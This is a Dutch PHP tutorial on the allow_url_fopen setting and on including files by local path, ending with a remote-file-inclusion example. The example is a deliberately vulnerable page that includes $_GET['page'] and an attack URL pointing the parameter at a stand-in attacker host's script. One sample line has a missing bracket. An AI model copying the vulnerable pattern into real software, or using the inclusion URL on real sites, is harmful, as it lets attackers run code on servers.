allow_url_fopen

Bron: DreamHost

De PHP optie allow_url_fopen zou normaal de programeur toelaten een extern bestand te openen, in te voegen of anderzijds een extern bestand te gebruiken, gebruik makend van een URL; eerder dan gebruik te maken van een lokaal bestand. Voor veiligheidsredenen(Vraag me niet welke aub), hebben meerdere Hosts bij het upgraden van hun systemen naar PHP 5, deze optie uitgeschakeld; er bestaat echter wel een alternatief rijk aan mogelijkheden zijnde cURL, en je kan uiteraard ook rond dit probleem door zelf uw eigen versie van PHP te compileren.

Inhoud

1 Server-Side Invoegingen

1.1 Voorbeeld Invoeging
1.2 Verschillen verwerken(en variabelen doorgeven aan ingevoegd bestand)
1.2.1 Voorbeeld
1.3 Flexibiliteit toevoegen
1.4 Het include_path instellen

2 Voorbeeld misbruik



1. Server-Side Invoegingen

Veel ontwikkelaars voegen bestanden in door te verwijzen naar een externe URL, zelfs al staat het bestand binnen het lokaal systeem.
Voorbeeld:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<?php include("http://example.com/includes/example_include.php"); ?>


Met allow_url_fopen uitgeschakeld, zal deze methode dus niet werken. In plaats, moet het bestand ingevoegd worden met een lokaal path, en er zijn drie methodes om dit te doen:

- Door een relatief path te gebruiken, zoals ../includes/example_include.php.
- Door een absoluut path (ook gekend als relatief-tov-root),
zoals /home/username/example.com/includes/example_include.php.
- Door gebruik te maken van de PHP variabele $_SERVER['DOCUMENT_ROOT'],
welke de absolute path naar de root van de server teruggeeft. Deze laatste is bij uitstek de beste (en meest gangbare) oplossing. Het hierna volgende voorbeeld toont de omgevings variabele in aktie:


1.1 Voorbeeld Invoeging

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
include($_SERVER'DOCUMENT_ROOT']."/includes/example_include.php");
?>



1.2 Verschillen verwerken (en variabelen doorgeven aan ingevoegd bestand)

Dat de hier voorgestelde alternatieve oplossingen resulteren in een verschillende manier waarop de funktie include() zal behandeld worden is zeker het vermelden waard. Al de alternatieve oplossingen zullen de PHP code teruggeven van de ingevoegde pagina; alhoewel, de nu-niet beschikbare externe URL methode zal het resultaat weergeven van de ingevoegde pagina.
Een resultaat van dit gedrag is dat je geen querystring kan doorgeven gebruik makend van de alternatieve oplossingen. Je definiëerd de variabelen lokaal alvorens de invoeging uit te voeren:

1.2.1 Voorbeeld

Om het effect hiervan te bekomen:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<?php include("http://example.com/includes/example_include.php?var=example"); ?>


Moet je ipv dit het volgende gebruiken:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php
$var
= "example";
include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php");
?>



1.3 Flexibiliteit toevoegen

Om een maximale flexibiliteit te bekomen (waneer veelvoudige invoegingen nodig zijn, bijvoorbeeld), kan het eenvoudiger zijn om een variabele te creëren:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
$doc_root
= $_SERVER['DOCUMENT_ROOT'];
include("$doc_root/includes/example_include.php");
include("$doc_root/includes/example_include2.php");
include("$doc_root/includes/example_include3.php");
include("$doc_root/includes/example_include4.php");
?>

Nota: De techniek werkt op dezelfde manier ongeacht u gebruik maakt van include() of require().


1.4 Het include_path instellen

Je kan ook expliciet de PHP directive, "include_path", instellen in de vlucht.

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
ini_set('include_path', ini_get('include_path').':'.$_SERVER['DOCUMENT_ROOT'].'/includes');
include('example_include.php');
include('example_include2.php');
include('example_include3.php');
include('example_include4.php');
?>



2 Voorbeeld misbruik

Een veel voorkomend gebruik van server-side invoegingen is voor het creërenn van een soort site template. Dikwijls word dmv een query string verschillende inhoud ingevoegd in 1 enkele pagina bestaande uit een hoofding en een voetnoot. Hier is een typisch voorbeeld script:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
$page
= ($_GET['page']) ? $_GET['page'] : "default.php";
?>

<html>
<head>
<title>This page is easy to exploit</title>
</head>
<body>

header...

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<?php include($page); ?>


footer...

</body>
</html>

De inhoud van de pagina kan gevariëerd worden door een query string toe te voegen aan de URL:

'http://example.com/index.php?page=varied.php'

Als allow_url_fopen geactiveerd is, volstaat het om simpel de waarde van de variabele in de querystring te wijzigen om het systeem te exploiteren:

'http://example.com/index.php?page=http://crackerscum.net/evilscript.txt'

« Lees de omschrijving en reacties

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.